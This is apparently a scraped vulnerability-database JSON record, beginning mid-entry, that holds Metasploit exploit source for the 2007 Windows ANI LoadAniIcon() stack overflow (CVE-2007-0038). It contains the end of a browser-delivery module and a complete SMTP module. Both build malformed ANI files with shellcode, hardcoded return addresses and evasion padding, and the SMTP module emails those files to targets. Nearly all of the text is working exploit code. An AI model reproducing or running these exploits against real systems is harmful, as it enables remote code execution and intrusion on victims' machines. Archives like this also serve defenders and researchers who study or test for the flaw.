'text/xml'})\n return\n end\n\n #\n # HTML requests sent by IE and Firefox\n #\n\n if (not ani_request)\n\n # Pick a random extension to use when we generate HTML. The moz-icon URL\n # must have a .ani extension, but we can use a random one for IE\n\n exts.delete('ani')\n ext = exts[rand(exts.length)]\n\n # Generate the HTML\n\n html =\n \"<html>\" +\n \"<head><title>\" + random_padding + \"</title></head>\" +\n \"<body>\" +\n random_padding +\n (browser == 'IE' ? generate_ie_html(ext) : generate_mozilla_html) +\n random_padding +\n \"</body>\" +\n \"</html>\"\n\n print_status(\"Sending HTML page\")\n\n send_response(cli, html)\n return\n end\n\n #\n # ANI requests sent by IE and the WebDav Mini-Redirector\n #\n\n # Re-generate the payload\n return if ((p = regenerate_payload(cli)) == nil)\n\n print_status(\"Sending #{self.name}\")\n\n # Transmit the compressed response to the client\n send_response(cli, generate_ani(p, target), { 'Content-Type' => 'application/octet-stream' })\n end\n\n\n #\n # Generate a <div> element with a style attribute referencing the ANI file\n #\n\n def generate_ie_html(ext)\n path = get_resource.sub(/\\/$/, '')\n\n \"<div style='\" +\n random_css_padding +\n Rex::Text.to_rand_case(\"cursor\") +\n random_css_padding +\n \":\" +\n random_css_padding +\n Rex::Text.to_rand_case(\"url(\") +\n random_css_padding +\n '\"' +\n path + '/' + rand_text_alphanumeric(rand(80)+16) + '.' + ext +\n '\"' +\n random_css_padding +\n \");\" +\n random_css_padding +\n \"'>\" +\n random_padding +\n \"</div>\"\n end\n\n\n #\n # Generate a img tag with a moz-icon URL referencing the ANI file\n #\n\n def generate_mozilla_html\n path = get_resource.gsub(/\\/$/, '')\n\n # The UNC path of the ANI file must have at least one directory level,\n # otherwise the WebDAV redirector will not work\n if path == ''\n path = '/' + rand_text_alphanumeric(rand(80)+16)\n end\n\n return '<img src=\"moz-icon:file://///' +\n datastore['SRVHOST'] +\n path + '/' + rand_text_alphanumeric(rand(80)+16) + '.ani\">'\n end\n\n\n #\n # Generate CSS padding\n #\n\n def random_css_padding\n buf =\n random_whitespace +\n \"/*\" +\n random_whitespace +\n random_padding +\n random_whitespace +\n \"*/\" +\n random_whitespace\n end\n\n\n #\n # Generate random whitespace\n #\n\n def random_whitespace\n len = rand(100)+2\n set = \"\\x09\\x20\\x0d\\x0a\"\n buf = ''\n\n while (buf.length < len)\n buf << set[rand(set.length)].chr\n end\n buf\n end\n\n\n #\n # Generate random padding\n #\n\n def random_padding\n rand_text_alphanumeric(rand(128)+4)\n end\n\n\n #\n # Generate an ANI file that will trigger the vulnerability\n #\n\n def generate_ani(payload, target)\n\n # Valid ANI header\n\n header = [\n 36, # cbSizeOf (must be 36)\n rand(128)+16, # cFrames (must be > 1 and < 0x10000)\n rand(1024)+1, # cSteps (must be < 0x10000)\n 0, 0, # cx, cy\n 0, # cBitCount\n 0, # cPlanes\n 0, # JifRate\n 1 # Flags (must have the LSB bit set)\n ].pack('V9')\n\n overflow = ''\n\n if target['Method'] == 'jmpesp'\n\n # ANI header that triggers the overflow:\n overflow =\n # 36 bytes of fake header\n\n # When we get control, the ebx and esi registers have the following values:\n #\n # 2000, XP, 2003 before MS05-002\n # ebx = 0, esi = pointer to MappedFile struct\n #\n # NT before MS05-002\n # ebx = pointer to dword 1, esi = pointer to MappedFile struct\n #\n # all versions after MS05-002, including XP SP2 and 2003 SP1\n # ebx = pointer to MappedFile struct\n #\n # The first field in MappedFile is a pointer to the ANI file\n\n \"\\x85\\xDB\" + # test ebx,ebx\n \"\\x74\\x0A\" + # jz jmp_esi 2000, XP, 2003 before MS05-002\n \"\\x81\\x3B\\x01\\x00\\x00\\x00\" + # cmp dword [ebx], 0x1\n \"\\x74\\x02\" + # jz jmp_esi NT before MS05-002\n \"\\x89\\xDE\" + # mov esi, ebx all versions after MS05-002\n # jmp_esi:\n \"\\x8B\\x36\" + # mov esi,[esi] pointer to ANI file\n \"\\x81\\x3E\\x52\\x49\\x46\\x46\" + # cmp [esi], 'RIFF'\n \"\\x75\\x02\" + # jnz failed\n \"\\xFF\\xE6\" + # jmp esi\n # failed:\n \"\\x31\\xc0\" + # xor eax, eax\n \"\\x8b\\x00\" + # mov eax, [0] exit via SEH\n rand_text(2) +\n \"\\x00\\x00\\x00\\x00\" + # header flags (LSB bit must be set to 0)\n\n # end of header\n\n rand_text(4*6) + # local variables\n\n # The following local variables must be NULL to avoid calls to\n # HeapFree and NtUserDestroyCursor\n\n # 2000, XP, 2003 SP0 2003 SP1\n\n \"\\x00\\x00\\x00\\x00\" + # var_10\n \"\\x00\\x00\\x00\\x00\" + # var_C\n \"\\x00\\x00\\x00\\x00\" + # var_C\n \"\\x00\\x00\\x00\\x00\" + # var_8\n \"\\x00\\x00\\x00\\x00\" + # var_4\n\n [\n target['Ret1'], # return address for NT, 2000, XP and 2003 SP0\n target['Ret2'] # return address for 2003 SP1\n ].pack('VV') +\n\n rand_text(4*4) + # function arguments\n\n \"\\x90\\x90\\x90\\x90\" + # jmp esp on NT, 2000, XP and 2003 SP0 lands\n # here, 2003 SP1 lands on the next dword\n\n \"\\xeb\\x92\" # jump back to the shellcode in the ANI header\n\n elsif target['Method'] == 'partial'\n\n # ANI header that triggers the overflow:\n\n overflow =\n\n # 36 bytes of fake header\n\n rand_text(32) +\n \"\\x00\\x00\\x00\\x00\" + # header flags (LSB bit must be set to 0)\n\n # end of header\n\n rand_text(4*8) + # local variables\n\n # The following local variables must be NULL to avoid calls to\n # HeapFree and NtUserDestroyCursor on Vista\n\n \"\\x00\\x00\\x00\\x00\" + # var_C\n \"\\x00\\x00\\x00\\x00\" + # var_8\n \"\\x00\\x00\\x00\\x00\" + # var_4\n\n rand_text(4) + # saved ebp\n\n [\n target['Ret'], # 2 byte partial overwrite of the return address\n ].pack('v')\n\n else\n fail_with(Failure::NoTarget, \"Unknown target #{target['Method']}\")\n end\n\n # Build the ANI file\n\n # The shellcode execution begins at the RIFF signature:\n #\n # 'R' 52 push edx\n # 'I' 49 dec ecx\n # 'F' 46 inc esi\n # 'F' 46 inc esi\n # eb 3a jmp +3a # jmp to the code in the payload chunk\n ani =\n \"RIFF\" + \"\\xeb\\x3a\\x00\\x00\" +\n \"ACON\" +\n riff_chunk(\"anih\", header) +\n\n # payload chunk\n riff_chunk(random_riff_tag,\n Rex::Arch::X86.copy_to_stack(payload.encoded.length) +\n payload.encoded) +\n\n random_riff_chunks +\n\n # the second anih chunk trigger the overflow\n riff_chunk(\"anih\", overflow) +\n\n random_riff_chunks\n\n return ani\n end\nend\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb"}, {"lastseen": "2020-08-18T00:40:24", "description": "This module exploits a buffer overflow vulnerability in the LoadAniIcon() function of USER32.dll. The flaw is triggered through Outlook Express by using the CURSOR style sheet directive to load a malicious .ANI file. This vulnerability was discovered by Alexander Sotirov of Determina and was rediscovered, in the wild, by McAfee.\n", "published": "2010-07-25T16:02:51", "type": "metasploit", "title": "Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (SMTP)", "bulletinFamily": "exploit", "cvelist": ["CVE-2007-0038", "CVE-2007-1765"], "modified": "2019-05-23T12:01:21", "id": "MSF:EXPLOIT/WINDOWS/EMAIL/MS07_017_ANI_LOADIMAGE_CHUNKSIZE", "href": "", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = GreatRanking\n\n #\n # This module sends email messages via smtp\n #\n include Msf::Exploit::Remote::SMTPDeliver\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (SMTP)',\n 'Description' => %q{\n This module exploits a buffer overflow vulnerability in the\n LoadAniIcon() function of USER32.dll. The flaw is triggered\n through Outlook Express by using the CURSOR style sheet\n directive to load a malicious .ANI file.\n\n This vulnerability was discovered by Alexander Sotirov of Determina\n and was rediscovered, in the wild, by McAfee.\n },\n 'License' => MSF_LICENSE,\n 'Author' =>\n [\n 'hdm', # First version\n 'skape', # Vista support\n ],\n 'References' =>\n [\n ['MSB', 'MS07-017'],\n ['CVE', '2007-0038'],\n ['CVE', '2007-1765'],\n ['OSVDB', '33629'],\n ['BID', '23194']\n ],\n 'Stance' => Msf::Exploit::Stance::Passive,\n 'DefaultOptions' =>\n {\n # Cause internet explorer to exit after the code hits\n 'EXITFUNC' => 'process',\n },\n 'Payload' =>\n {\n 'Space' => 1024 + (rand(1000)),\n 'MinNops' => 32,\n 'Compat' =>\n {\n 'ConnectionType' => '-bind -find',\n },\n\n 'StackAdjustment' => -3500,\n },\n 'Platform' => 'win',\n 'Targets' =>\n [\n\n #\n # Use multiple cursor URLs to try all targets. This can result in\n # multiple, sequential sessions\n #\n\n [ 'Automatic', {} ],\n\n #\n # The following targets use call [ebx+4], just like the original exploit\n #\n\n # Partial overwrite doesn't work for Outlook Express\n [ 'Windows XP SP2 user32.dll 5.1.2600.2622', { 'Ret' => 0x25ba, 'Len' => 2 }],\n\n # Should work for all English XP SP2\n [ 'Windows XP SP2 userenv.dll English', { 'Ret' => 0x769fc81a }],\n\n # Supplied by Fabrice MOURRON <fab[at]revhosts.net>\n [ 'Windows XP SP2 userenv.dll French', { 'Ret' => 0x7699c81a }],\n\n # Should work for English XP SP0/SP1\n [ 'Windows XP SP0/SP1 netui2.dll English', { 'Ret' => 0x71bd0205 }],\n\n # Should work for English 2000 SP0-SP4+\n [ 'Windows 2000 SP0-SP4 netui2.dll English', { 'Ret' => 0x75116d88 }],\n\n #\n # Partial overwrite where 700b is a jmp dword [ebx] ebx points to the start\n # of the RIFF chunk itself. The length field of the RIFF chunk\n # tag contains a short jump into an embedded riff chunk that\n # makes a long relative jump into the actual payload.\n #\n [ 'Windows Vista user32.dll 6.0.6000.16386',\n {\n 'Ret' => 0x700b,\n 'Len' => 2,\n\n # On Vista, the pages that contain the RIFF are read-only.\n # In-place decoders cannot be used.\n 'Payload' => { 'EncoderType' => Msf::Encoder::Type::Raw }\n }\n ],\n\n #\n # Supplied by Ramon de C Valle\n #\n\n # call [ebx+4]\n [ 'Windows XP SP2 user32.dll (5.1.2600.2180) Multi Language', { 'Ret' => 0x25d0, 'Len' => 2 }],\n [ 'Windows XP SP2 user32.dll (5.1.2600.2180) English', { 'Ret' => 0x77d825d0 }],\n [ 'Windows XP SP2 userenv.dll Portuguese (Brazil)', { 'Ret' => 0x769dc81a }],\n\n # call [esi+4]\n [ 'Windows XP SP1a userenv.dll English', { 'Ret' => 0x75a758b1 }],\n [ 'Windows XP SP1a shell32.dll English', { 'Ret' => 0x77441a66 }]\n ],\n 'DisclosureDate' => 'Mar 28 2007',\n 'DefaultTarget' => 0))\n\n end\n\n def autofilter\n false\n end\n\n def exploit\n\n exts = ['bmp', 'wav', 'png', 'zip', 'tar']\n\n gext = exts[rand(exts.length)]\n name = rand_text_alpha(rand(10)+1) + \".#{gext}\"\n\n anis = {}\n\n html =\n \"<html><head><title>\" +\n rand_text_alphanumeric(rand(128)+4) +\n \"</title>\" +\n \"</head><body>\" + rand_text_alphanumeric(rand(128)+1)\n\n\n mytargs = (target.name =~ /Automatic/) ? targets : [target]\n\n if target.name =~ /Automatic/\n targets.each_index { |i|\n next if not targets[i].ret\n acid = generate_cid\n html << generate_div(\"cid:#{acid}\")\n\n # Re-generate the payload, using the explicit target\n return if ((p = regenerate_payload(nil, nil, targets[i])) == nil)\n\n # Generate an ANI file for this target\n anis[acid] = generate_ani(p, targets[i])\n }\n else\n acid = generate_cid\n html << generate_div(\"cid:#{acid}\")\n\n # Re-generate the payload, using the explicit target\n return if ((p = regenerate_payload(nil, nil, target)) == nil)\n\n # Generate an ANI file for this target\n anis[acid] = generate_ani(p, target)\n end\n\n html << \"</body></html>\"\n\n\n msg = Rex::MIME::Message.new\n msg.mime_defaults\n msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)\n msg.to = datastore['MAILTO']\n msg.from = datastore['MAILFROM']\n\n msg.add_part(Rex::Text.encode_base64(html, \"\\r\\n\"), \"text/html\", \"base64\", \"inline\")\n anis.each_pair do |cid,ani|\n part = msg.add_part_attachment(ani, cid + \".\" + gext)\n part.header.set(\"Content-ID\", \"<\"+cid+\">\")\n end\n\n send_message(msg.to_s)\n\n print_status(\"Waiting for a payload session (backgrounding)...\")\n end\n\n def generate_cid\n rand_text_alphanumeric(32)+'@'+rand_text_alphanumeric(8)\n end\n\n def generate_div(url)\n \"<div style='\" +\n generate_css_padding() +\n Rex::Text.to_rand_case(\"cursor\") +\n generate_css_padding() +\n \":\" +\n generate_css_padding() +\n Rex::Text.to_rand_case(\"url(\") +\n generate_css_padding() +\n \"\\\"#{url}\\\"\" +\n generate_css_padding() +\n \");\" +\n generate_css_padding() +\n \"'>\" +\n generate_padding() +\n \"</div>\"\n end\n\n def generate_ani(payload, target)\n\n # Build the first ANI header\n anih_a = [\n 36, # DWORD cbSizeof\n rand(128)+16, # DWORD cFrames\n rand(1024)+1, # DWORD cSteps\n 0, # DWORD cx,cy (reserved - 0)\n 0, # DWORD cBitCount, cPlanes (reserved - 0)\n 0, 0, 0, # JIF jifRate\n 1 # DWORD flags\n ].pack('V9')\n\n anih_b = nil\n\n if (target.name =~ /Vista/)\n # Vista has ebp=80, eip=84\n anih_b = rand_text(84)\n\n # Patch local variables and loop counters\n anih_b[68, 12] = [0].pack(\"V\") * 3\n else\n # XP/2K has ebp=76 and eip=80\n anih_b = rand_text(80)\n\n # Patch local variables and loop counters\n anih_b[64, 12] = [0].pack(\"V\") * 3\n end\n\n # Overwrite the return with address of a \"call ptr [ebx+4]\"\n anih_b << [target.ret].pack('V')[0, target['Len'] ? target['Len'] : 4]\n\n # Begin the ANI chunk\n riff = \"ACON\"\n\n # Calculate the data offset for the trampoline chunk and add\n # the trampoline chunk if we're attacking Vista\n if target.name =~ /Vista/\n trampoline_doffset = riff.length + 8\n\n riff << generate_trampoline_riff_chunk\n end\n\n # Insert random RIFF chunks\n 0.upto(rand(128)+16) do |i|\n riff << generate_riff_chunk()\n end\n\n # Embed the first ANI header\n riff << \"anih\" + [anih_a.length].pack('V') + anih_a\n\n # Insert random RIFF chunks\n 0.upto(rand(128)+16) do |i|\n riff << generate_riff_chunk()\n end\n\n # Trigger the return address overwrite\n riff << \"anih\" + [anih_b.length].pack('V') + anih_b\n\n # If this is a Vista target, then we need to align the length of the\n # RIFF chunk so that the low order two bytes are equal to a jmp $+0x16\n if target.name =~ /Vista/\n plen = (riff.length & 0xffff0000) | 0x0eeb\n plen += 0x10000 if (plen - 8) < riff.length\n\n riff << generate_riff_chunk((plen - 8) - riff.length)\n\n # Replace the operand to the relative jump to point into the actual\n # payload itself which comes after the riff chunk\n riff[trampoline_doffset + 1, 4] = [riff.length - trampoline_doffset - 5].pack('V')\n end\n\n # Place the RIFF chunk in front and off we go\n ret = \"RIFF\" + [riff.length].pack('V') + riff\n\n # We copy the encoded payload to the stack because sometimes the RIFF\n # image is mapped in read-only pages. This would prevent in-place\n # decoders from working, and we can't have that.\n ret << Rex::Arch::X86.copy_to_stack(payload.encoded.length)\n\n # Place the real payload right after it.\n ret << payload.encoded\n\n ret\n\n end\n\n # Generates a riff chunk with the first bytes of the data being a relative\n # jump. This is used to bounce to the actual payload\n def generate_trampoline_riff_chunk\n tag = Rex::Text.to_rand_case(rand_text_alpha(4))\n dat = \"\\xe9\\xff\\xff\\xff\\xff\" + rand_text(1) + (rand_text(rand(256)+1) * 2)\n tag +\t[dat.length].pack('V') + dat\n end\n\n def generate_riff_chunk(len = (rand(256)+1) * 2)\n tag = Rex::Text.to_rand_case(rand_text_alpha(4))\n dat = rand_text(len)\n tag + [dat.length].pack('V') + dat\n end\n\n def generate_css_padding\n buf =\n generate_whitespace() +\n \"/*\" +\n generate_whitespace() +\n generate_padding() +\n generate_whitespace() +\n \"*/\" +\n generate_whitespace()\n end\n\n def generate_whitespace\n len = rand(100)+2\n set = \"\\x09\\x20\\x0d\\x0a\"\n buf = ''\n\n while (buf.length < len)\n buf << set[rand(set.length)].chr\n end\n buf\n end\n\n def generate_padding\n rand_text_alphanumeric(rand(128)+4)\n end\nend\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/email/ms07_017_ani_loadimage_chunksize.rb"}]}